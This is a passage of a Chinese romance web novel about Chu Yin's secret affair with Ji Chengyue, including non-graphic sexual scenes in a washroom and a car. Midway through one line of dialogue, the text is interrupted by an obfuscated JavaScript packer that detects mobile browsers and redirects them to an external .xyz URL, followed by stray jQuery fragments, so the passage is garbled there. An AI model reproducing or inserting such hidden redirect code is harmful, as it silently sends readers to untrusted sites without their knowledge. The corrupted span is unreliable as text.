褚吟眼底划过一抹冷意,拿着手机的那只手越攥越紧,指甲几乎要嵌进掌心的软肉里。
她深吸一口气,努力保持着镇定,起身前嘴角一直挂着笑容,“我出去打个电话,家里的小老太太又闹脾气了。”
裴兆川转过脸,眉心微动,笑意分明,“小老太太很黏你啊。”
褚吟脸上的笑差点保持不住,掩饰性地捏起酒杯咂了口清酒,轻哼,“是有点,你坐会儿,我出去哄哄。”
说完,她脚步虚浮朝外走,神情微敛,从头到脚都释放着骇人的低气压。
短短两天,她屡屡拿曾祖母当做忽悠人的幌子,若是真的被小老太太知道了,恐怕她费尽心思哄上三天三夜都未必有用。
这家餐厅她曾来过很多次,眼下无需任何人的指引,步伐直冲着最幽静的地方,暗香瞬间扑鼻而来。
褚吟驻足在走廊,下意识掀开眼前的半帘,果然在洗手间内找到了嵇承越。
男人指尖夹了支细长的香烟,烟雾缭绕中,深邃如海的眸子里是浓烈到化不开的玩味。
她站着没动,眉头深蹙,“做什么?”
嵇承越懒散靠上洗手台,将烟头碾灭在灭烟石里,下一秒,趁她不备,猛然将她拉了进去,大掌强硬地按在她的后脑勺,低头衔咬上她的唇。
褚吟自知男女体力悬殊,不做无用功,懒得去挣扎。
任由眼前的人探舌进来勾缠了半刻,她短暂闭一闭眼,原本垂在身侧的两只手悄然攀上嵇承越的胸口,灵活巧妙地收紧敞开的两边衣领,迫使着对方松开了唇。
她用了十成十的力道,眼睁睁看着他线条流畅的脖颈上青筋虬起,肤色也因此迅速蹿红。
嵇承越如她方才一般,没挣扎,只是静静地看着她动作。
这种缠绕在心头的窒息感,竟硬生生逼迫着他勾起一丝无奈的微笑。
褚吟的眼底尽是难以压制的戾气,话语中隐含警告与训斥,“嵇承越,我愿意跟你保持这种关系,不是给你机会把它当成威胁我的筹码。”
眼看着咫尺之近的薄唇因为急促如潮的呼吸变得惨白,她才不紧不慢松开了手,“你应该比我清楚,三条腿的□□不好找,两条腿的男人遍地都是。”
嵇承越的胸口似是压了千斤重石,每一次呼吸都极为困难。
心里顿时升腾起不快的情绪,他浅浅一笑,不由收紧揽在纤细腰肢上的那只手臂,“气成这个样子,就这么怕我在你的学长面前吻你?”
褚吟闻言一愣,很难得地露出了自出来后的第一个笑容。
她斜睨着他,强迫自己冷静,“嵇大少爷不会真以为我害怕这个吧?”
话音甫落,走廊上忽然传来一阵轻缓的脚步声,连带着还有男人磁性悦耳的嗓音,是裴兆川过来了。
猛然之间,褚吟浑身肌肉紧绷,视线不停地扫向外面,就连思维都迟缓了不少。她小腿开始发软,心跳随着半帘被缓慢掀开的弧越跳越快。
她急忙闭上眼睛,在心里说服自己接受裴兆川即将进来的这个事实。
没成想,在她选择认命之际,嵇承越那优越的五官在她眼前倏然放大无数倍。
唇瓣贴上的那一刻,褚吟双目圆睁,双手不自觉地支在他的肩头推搡了两下,然而舌却入得更深了,勾着她故意制造出混乱的水声。
她忍不住发出轻微的呜咽。
他自然而然地挪唇到她的耳畔,“不想被发现,就配合我。”
褚吟终于安分下来,索性抱着他的脖子热情回吻起来。
反正裴兆川若是进来,看见她跟嵇承越躲在洗手间内,也不可能会清白到哪里去,那还不如坐实算了。
她借隙用余光瞧了一眼,半帘掀开又很快滑落下去。
裴兆川脚下调转方向,突然往来时的路返回,听动静应该是在打电话,语调欢快,正聊到兴头上。
危机解除,褚吟脑袋偏开,终止了这个让她快要呼吸困难的吻。
她拨弄开嵇承越从衣摆探入的那只手,一手擦拭过留有涎渍的唇角,一手简单整理着微乱的衣着。
嵇承越眼眸半垂,见状,嘴上不客气,“这就是你说的不怕?”
他身上的丝质衬衫都被抓乱了,先是领口,再是腰侧,这件衬衫算是报废了。
褚吟承认刚刚她确实紧张,但她惯常不爱坦露自己的弱点。
她嗤笑,目光幽幽掠过他已然动情的某处,说:“我只是怕别人用异样的眼神看我。”
“什么?”嵇承越不解。
褚吟转过身,轻抬水龙头,边洗手边自面前的镜子里迎上他的视线,语气放松,“很丢人,不是吗?”
-
重新回到包间,两个人依旧是老规矩,错开了几分钟。
褚吟吃得很沉默。
嵇承越同样一言不发。
裴兆川不好贸然开启话题。
方才他忽然接到组长的电话,包间内有音乐声,只好出去找比较安静的地方。
电话贴至耳边接听,他在回应电话那端的人时,四下寻找方便久待的地方。
这家餐厅全都是独立卫生间,环境干净整洁,丝毫异味都没有。
他沿着走廊往前,很随意挑了一间。
只是半帘还没撩开,他还没来不及朝里面瞧一眼,就听到了交织在一起的急促喘息与暧昧低哼,让他震惊之余,更多的是冒犯。
裴兆川在心里连连说了七八遍“抱歉。”
忏悔完,电话也差不多快讲完了。
想到这里,他才反应过来确实有话要对褚吟讲。
裴兆川吃好,搁筷,拭嘴,说:“褚吟,我今天可能没办法去看房子了。”
褚吟刚好也吃饱了,忙问:“怎么了?你突然有事?”
“组长刚刚打电话给我,说是策划案有个地方的数据有错误,让我们集体回去加班。”裴兆川觉得自己天生牛马命,假期加班居然半分怨言都没有。
褚吟身子后仰,姿态懒散,“没事,不过你这过渡期起码也得十天半个月,你明天干脆搬去御品,总得住得舒服点吧,晚一点我让我爸的秘书给酒店客房部经理打个电话就好了。”
裴兆川张了张唇。
她忙道:“在国外那几年你那么照顾我,总得给我个机会尽尽地主之谊吧。”
裴兆川垂头哑笑,安心答允。
在旁存在感极强的嵇承越一放下利久箸,裴兆川就发现了。
他半垂着眼睫,神色温和,礼貌规矩,“嵇先生吃得可好?要不要再点一些?”
嵇承越对日式料理兴趣不大,鱼生只能将就两口。
闻言,他微微笑开,“裴先生太客气了,味道还不错。”
褚吟回复完姜幸在服务区休息时发来的消息,招来服务生买单,被裴兆川抢了先。
出了餐厅,司机刚好将车驶到路边。
嵇承越看了一眼手机。
几分钟前,嵇漱羽告知无需他等,自己临时有其他安排。
临上车前,他脑袋一偏,入眼的是男人正绅士帮旁边女孩子遮伞的画面,两个人相谈甚欢,看着还有点难舍难分,反倒显得他格外多余。
定了定神,好几个念头自脑中迅速闪过,等开口,他刻意佯装出笑容满面的样子,“裴先生要去哪里?不介意的话,可以送你一程。”
裴兆川手中的伞往一边偏了点,明白了嵇承越的醉翁之意,笑道:“公司就在附近,我步行过去,嵇先生方不方便送一下褚吟?”
褚吟的视线从手机屏幕上挪开,不理解裴兆川的擅作主张。
嵇承越很爽快,“当然。”
简单作别,等裴兆川走远,褚吟才上车。
白捡的便宜,不占白不占,只是相较有嵇承越在的宽敞后排,她更想坐在副驾驶。
跟聂叔叔唠嗑,都比跟嵇承越大眼瞪小眼要舒适。
车子启动时,褚吟始终目视窗外。
她如芒在背,只因落在后脑勺的视线实在不容忽视。
蓦地,耳边传来一声含着气音的笑,嵇承越语带戏谑,“人都走远了,还看?”
褚吟撩眼,冲着车内后视镜里的嵇承越挑了下眉,勾起的唇只一秒便抿直。
紧接着,她触上操控按钮,缓缓升起的隔断挡板将前后彻底隔绝,空气霎时变得清新了不少。
老聂将这一切都看在了眼里,嵇少爷甚少会有吃瘪的时候,为数不多的几次都是因为褚大小姐,让他是感觉既新鲜又有趣。
敛好表情,他笑呵呵地问:“褚小姐是要去哪里?”
“汐山园,麻烦聂叔叔了,”褚吟的精力已达临界点,双指并拢,抵上太阳穴,接着说,“聂叔叔,我休息一会儿,到了以后劳烦您叫我一下。”
老聂点点头,顺势将车内冷气调高几度。
一个多小时后,劳斯莱斯稳当驶上一条山路。
五月,山下暑气蒸腾,而半山之上,如乘着清风,在松涛阵阵的清凉里,独享着一份俯视尘嚣的安逸。
远远看去,汐山园倚着山势,像一块嵌进山体里的现代雕塑,漫山遍野的苍翠环绕四周,在阳光里翻涌着绿色的波涛,为之涂上柔和的底色。
无需叫醒服务,褚吟已经迷糊睁眼。
顿了顿,待眼前恢复清明,车子刚好靠边停下,她解开安全带,声线温和,“谢谢,聂叔叔路上小心。”
说完,半分停顿都没有,头也不回地进了宅子。
玄关换好鞋,正巧一抹挺拔的身影循声自客厅的方向窜过来。
路上那点时间,根本不够褚吟睡的。
她懒得抬头,凭熟悉的香氛气味辨别来人,“好难得,居然能在汐山园见到你。”
褚岷手里抱着果盘,吃得津津有味,“姐,这话应该我来说吧。”
褚吟怔了怔,还没给出反应,刚打趣完她的褚岷便忙不迭搁下手里的东西,颇为殷勤地接过她的包,一如往常那般开始向她汇报,“爸妈去了展叔叔家,爷爷在山下曾爷爷家,曾祖母吃完点心刚去了书房。姐,果茶、椰汁、苏打水,你要喝什么?”
“椰汁。对了,你最近工作怎么样?”褚吟从包里拿出手机,随口问。
褚岷如同阳光般灿烂,“还不错,你呢?”
“跟你差不多。爸不在,你帮我联系一下陈秘,让他通知国金附近的那家御品酒店,这两天会有一位名叫裴兆川的男士过去办理入住,麻烦留一间总套——”
她停顿几秒,思索再三,改口,“留一间豪华客房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309327|182845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就好。”
裴兆川的性子,未必会去住套房。
“好,没问题,”正经了没几分钟,褚岷就装不下去了,忙凑到她的面前,满脸期待,“姐,今晚在家里住吗?我去吩咐厨房准备些你爱吃的。”
褚吟不动声色地从头到脚扫了遍褚岷。
这个小她两岁的亲弟弟,去年大学毕业后,耗费半年多时间环球旅行,最近刚进入集团总部担任市场总监。
此刻,褪掉板正西装,着宽松家居服的身姿依旧挺拔,眉目俊朗如画,唇角微扬带着浅浅笑意,整个人散发出阳光和煦的气息。
视线收回,她开始往电梯那边走,说:“今晚不行,过几天吧,公司有个联名活动,不能出差错,我得盯着。你要跟我一起上去找曾祖母吗?”
褚岷摆摆手,叉了块奇异果喂给她,“不了,她肯定会赶我走。”
褚吟无奈瘪瘪唇,迈入轿厢,到了二楼。
叩响书房的门,小老太太鼻梁上的老花镜滑下去点,极为滑稽地掀眼瞧她,愤懑地哼了一声。
她笑出声,娇声哄,“怎么又生气了?让我来看看你在干什么。”
提步靠近,弯腰定睛一看,小老太太的面前摊了本她大学毕业时拍的一组照片,不由一乐,“我就四天没回来,你怎么就开始睹物思人了?”
“心野喽,哪儿还会记得我这半截身子已经埋入黄土的老太婆。”陆启芳作假哭抹泪状。
褚吟故作生气跺脚,“呸呸呸,快,吐三下,去晦气。”
陆启芳跟着她学,操控电动轮椅面朝着窗外,忽然眼前一亮,兀自转移了话题,“老嵇家的宝贝孙子是不是看上你啦?”
噗——
褚吟一愣,差点被自己的口水呛到,“你这小老太太...话不能乱说哦。”
陆启芳裹了裹身上的披肩,轻抬下巴,示意她看楼下,“从你下车到现在,还舍不得走。”
她往前一步,透过窗户,只见嵇承越吊儿郎当地站在路缘石上,嘴角叼了根烟,正优哉游哉地吞云吐雾,视线时而会往宅子里面望。
褚吟猜不透少爷又在琢磨什么鬼点子,满不在乎启唇,“曾祖母,他之所以会送我回来,是因为今天他追尾了我的车,至于这会儿磨磨唧唧半天没走,喏,他不是正在吸烟吗?”
陆启芳叹气,“我还能不能等到你谈恋爱呦!”
“当然能,到时候一定第一时间带来给你看。”褚吟表情认真。
小老太太这才放下心来。
褚吟陪着喝茶聊天,再离开是在两个多小时以后。
踏着青石板路朝外走,褚岷已经让司机把车停好。
她拿过钥匙,绕过车头,冷不防被吓了一跳,“嵇承越?”
劳斯莱斯都走了,这人怎么还留在这儿?
男人起身,长久逗留在闷热无比的室外,周身气质颓靡了几分,语气听着比平时顺耳了点,“捎我去你那边,郑允之找我借车。”
褚吟伏身上车,总觉得眼前的人奇奇怪怪的。
中午还发短消息威胁她出去,这会儿就安静如鸡地干等着她下来,莫不是她的那番警告真起作用了?可这完全是两码事啊。
她真是服了他了。
从汐山园到瑾山墅,褚吟将车停好,想起未来一段时间排得满满的行程,说:“这几天我们暂时先不要见面了。”
话刚说完,她正要侧身下车,一双手臂却忽然环了过来,将她轻轻抱到了副驾。
不管多大的空间,陡然多个人,都会显得格外拥挤。
她动弹不得,只能动作别扭地跟嵇承越面对面。
“几天?那现在给点甜头,不算过分吧?”他的吻细细落在她的颈间,如蝶栖,又如风拂,沿着漂亮的颈线徐徐而上,在耳垂与唇畔间流连,若即若离。
褚吟心中百转千回,自回国后这一年,她跟嵇承越每次见面都极有规律,差不多都是休三做一,休三做二,周而复始,规律得近乎刻板。
可最近,这规律被打破了,几乎是朝夕相见,让她不禁怀疑嵇承越是否是贪恋暖瘾的兽,总不知餍足。
思绪飘忽间,他已不再浅尝辄止,不安分的右手一径往别的地方去。
反正是在自家独立车库,四下无人。她索性放弃抵抗,任由细碎的哼吟溢出喉间,指尖亦不甘示弱,轻抚上他紧绷的脊背,如驯兽师般游走于压抑的猛兽之间,等待着冲破牢笼的瞬间,以全部的温柔和耐心予以安抚。
车厢内的空气慢慢变得稀薄,两个人身上是汗津津的,掌心也是黏糊糊的。
褚吟打开扶手箱,扯出几张湿纸巾丢给嵇承越,自己也留了几张。
清理完,一前一后出去。
褚吟没在车上胡闹过,神情难免有些不自然,看着嵇承越长腿一迈,支起摩托车,转身就要走。
“褚吟。”嵇承越唤她。
她止步回头。
嵇承越继续说:“我记得我们小学、初中都在同一所学校。”
褚吟瞳孔骤缩,“怎么?”
“那你叫我一声‘学长’没什么问题吧?”
褚吟从没如此无语过,斜视一眼,语气促狭,毫不留情地抛下两个字,快步离开。
“神经。”